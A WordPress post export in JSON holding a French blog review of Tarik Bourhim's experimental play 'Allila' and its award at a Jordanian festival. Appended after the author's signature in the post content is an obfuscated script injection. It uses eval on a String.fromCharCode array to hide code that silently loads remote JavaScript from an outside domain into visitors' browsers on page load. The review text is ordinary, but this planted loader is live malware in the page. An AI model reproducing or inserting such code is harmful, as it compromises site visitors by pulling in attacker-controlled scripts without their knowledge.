{"id":85738,"date":"2022-10-12T03:31:57","date_gmt":"2022-10-12T03:31:57","guid":{"rendered":"http:\/\/worldofculture2020.com\/?p=85738"},"modified":"2022-10-12T03:37:16","modified_gmt":"2022-10-12T03:37:16","slug":"allila-renverse-la-mise-en-scene","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=85738","title":{"rendered":"Allila \u00ab\u00a0renverse\u00a0\u00bb la mise en sc\u00e8ne"},"content":{"rendered":"<p style=\"text-align: left;\">Lotfi Bourhim \u2013 doctorant en Langage, Discours et Soci\u00e9t\u00e9<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-85743 aligncenter\" src=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-300x180.jpg\" alt=\"\" width=\"300\" height=\"180\" srcset=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-300x180.jpg 300w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629.jpg 715w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: left;\"><strong>Le metteur en sc\u00e8ne marocain Tarik Bourhim a adopt\u00e9 sa propre conception dans la mise en sc\u00e8ne th\u00e9\u00e2trale contemporaine. Il s\u2019est r\u00e9volt\u00e9 contre le \u00ab\u00a0politiquement correct\u00a0\u00bb dans le monde du 7<sup>\u00e8me<\/sup> art \u00e0 plusieurs niveaux o\u00f9 s\u2019articulent les composantes fondatrices du spectacle. Cette nouvelle perception artistique s\u2019appuie sur le comblement de l\u2019\u00e9cart entre l\u2019artistique et le culturel, d\u2019une part, et la pens\u00e9e et la dialectique d\u2019autre part. De fait, \u00ab\u00a0Allila\u00a0\u00bb est une \u0153uvre d\u2019art o\u00f9 les cultures se croisent, le patrimoine et l\u2019ancien et le contemporain se conjuguent de partout du Maroc.<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-85744 aligncenter\" src=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-2-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-2-300x200.jpg 300w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-2.jpg 720w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: left;\"><strong>A noter que Tarik Bourhim est un adepte d\u00e9vou\u00e9 de l\u2019exp\u00e9rimentalisme et le d\u00e9passement de tout ce qui \u00ab\u00a0va de soi\u00a0\u00bb. Il proc\u00e8de par exp\u00e9rimenter le mouvement et les horizons pour donner de l\u2019\u00e9lan \u00e0 son imaginaire artistique qui va \u00e0 l\u2019encontre du pr\u00e9dictible, il pr\u00f4ne l\u2019\u00a0\u00ab\u00a0inatendu\u00a0\u00bb afin d\u2019attiser la curiosit\u00e9 du spectateur, ce qu\u2019il a su incarner avec brio dans \u00ab\u00a0Allila\u00a0\u00bb. Cette pi\u00e8ce comme a \u00e9t\u00e9 d\u00e9j\u00e0 mentionn\u00e9, est un \u00ab\u00a0soul\u00e8vement\u00a0\u00bb th\u00e9orique qui s\u2019oppose \u00e0\u00a0 Aristote et \u00e0 Brecht\u00a0; si le premier vise un une audience cathartique, une purgation des passions comme le veut la trag\u00e9die aristot\u00e9licienne, le deuxi\u00e8me interpelle le c\u00f4t\u00e9 critique chez le spectateur pour mieux identifier et s\u2019identifier \u00e0 son v\u00e9cu, le percevoir autrement \u00e0 travers l\u2019alt\u00e9rit\u00e9 mais plus profond encore en se frayant un itin\u00e9raire dans une perspective d\u2019ostranenie, qui utilise un dispositif visant \u00e0 d\u00e9payser, \u00e0 \u00ab\u00a0\u00e9trangiser\u00a0\u00bb la mani\u00e8re dont le monde se pr\u00e9sente \u00e0 nous, ce que le s\u00e9mioticien russo-fran\u00e7ais A. J. Greimas appelle \u00ab\u00a0la forme du contenu\u00a0\u00bb ou tout simplement comment le monde \u00ab\u00a0prend forme\u00a0\u00bb. En conciliant ces deux perceptions du monde, Tarik Bourhim exp\u00e9rimente une perspective th\u00e9\u00e2trale bas\u00e9e sur l\u2019\u00a0\u00ab\u00a0\u00eatre\u00a0\u00bb, essence et existence, dans sa dimension culturelle locale et universelle\u00a0; une exp\u00e9rience qui puise ses fondement dans des sciences telles la psychologie, la logique, la philosophie existentielle et trouve ses racines dans de diff\u00e9rentes \u00e9coles th\u00e9\u00e2trales\u00a0: le th\u00e9\u00e2tre de la cruaut\u00e9 d\u2019Artaud, le th\u00e9\u00e2tre de la mort de Kantor et le th\u00e9\u00e2tre pauvre de Grotowski. Outre ces trois courants th\u00e9oriques, le metteur en sc\u00e8ne s\u2019ouvre sur le sophisme et les contes fantastiques et exotiques que Kalila et Dimna, Sinbad et Sh\u00e9h\u00e9razade ont incarn\u00e9 majestueusement. Plus profond encore, Tarik Bourhim nous emm\u00e8ne vers les univers de la mythologie grecque en interpelant leurs secrets tout en \u00ab\u00a0assaisonnant\u00a0\u00bb le tout avec un brin de la litt\u00e9rature po\u00e9tique arabe invoquant Antara et Abla. Ces univers diverses et multiples ont \u00e9t\u00e9 un recueil o\u00f9 la perspective tarikienne se veut conciliatrice m\u00eame du m\u00e9taphysique des choses et sa corr\u00e9lation avec la notion de la mort et du chaos. Cette \u00ab\u00a0Allila\u00a0\u00bb est ainsi un brassage d\u2019arts et de litt\u00e9ratures diverses et de cultures transhistoriques.<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-85745 aligncenter\" src=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-3-300x179.jpg\" alt=\"\" width=\"300\" height=\"179\" srcset=\"https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-3-300x179.jpg 300w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-3-1024x612.jpg 1024w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-3-768x459.jpg 768w, https:\/\/worldofculture2020.com\/wp-content\/uploads\/2022\/10\/\u0627\u0644\u0644\u064a\u0644\u0629-3.jpg 1274w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p style=\"text-align: left;\"><strong>Le voyage d\u2019\u00ab\u00a0Allila\u00a0\u00bb\u00a0 \u00e0 la Jordanie lui a \u00e9t\u00e9 tr\u00e8s b\u00e9n\u00e9fique, elle a d\u00e9croch\u00e9 d\u2019abord une vague d\u2019ovation du public dans l\u2019espace ouvert et une estimation haute et forte de la part des critiques des experts du 7<sup>\u00e8me<\/sup> art dont le jury qui a tant appr\u00e9ci\u00e9 le talent du metteur en sc\u00e8ne marocain Tarik Bourhim en lui conc\u00e9dant ses efforts pour sa perspective d\u2019une th\u00e9\u00e2tralisation novatrice. Ce qui a \u00e9t\u00e9 couronn\u00e9 par le prix du meilleur metteur en sc\u00e8ne au festival Arrahala dans sa 1<sup>\u00e8re<\/sup> \u00e9dition internationale pour valoriser ainsi son\u00ab\u00a0savoir-faire\u00a0\u00bb artistique \u00e0 c\u00f4t\u00e9 de ses lionceaux-acteurs et actrices et tout le staff accompagnant technique et artistique de la d\u00e9l\u00e9gation marocaine. <\/strong><\/p>\n<p style=\"text-align: left;\"><strong>\u00a0<\/strong><\/p>\n<p style=\"text-align: left;\"><strong>Lotfi Bourhim \u2013 doctorant en Langage, Discours et Soci\u00e9t\u00e9<\/strong><\/p>\n<p style=\"text-align: left;\"><strong>Mekn\u00e8s le 10\u00a0octobre 2022<\/strong><\/p>\n<p style=\"text-align: left;\">\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Lotfi Bourhim \u2013 doctorant en Langage, Discours et Soci\u00e9t\u00e9 Le metteur en sc\u00e8ne marocain Tarik Bourhim a adopt\u00e9 sa propre conception dans la mise en sc\u00e8ne th\u00e9\u00e2trale contemporaine. Il s\u2019est r\u00e9volt\u00e9 contre le \u00ab\u00a0politiquement correct\u00a0\u00bb dans le monde du 7\u00e8me art \u00e0 plusieurs niveaux o\u00f9 s\u2019articulent les composantes fondatrices du spectacle. Cette nouvelle perception artistique &hellip;<\/p>\n","protected":false},"author":2,"featured_media":85739,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/85738"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=85738"}],"version-history":[{"count":2,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/85738\/revisions"}],"predecessor-version":[{"id":85746,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/85738\/revisions\/85746"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/media\/85739"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=85738"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=85738"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=85738"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}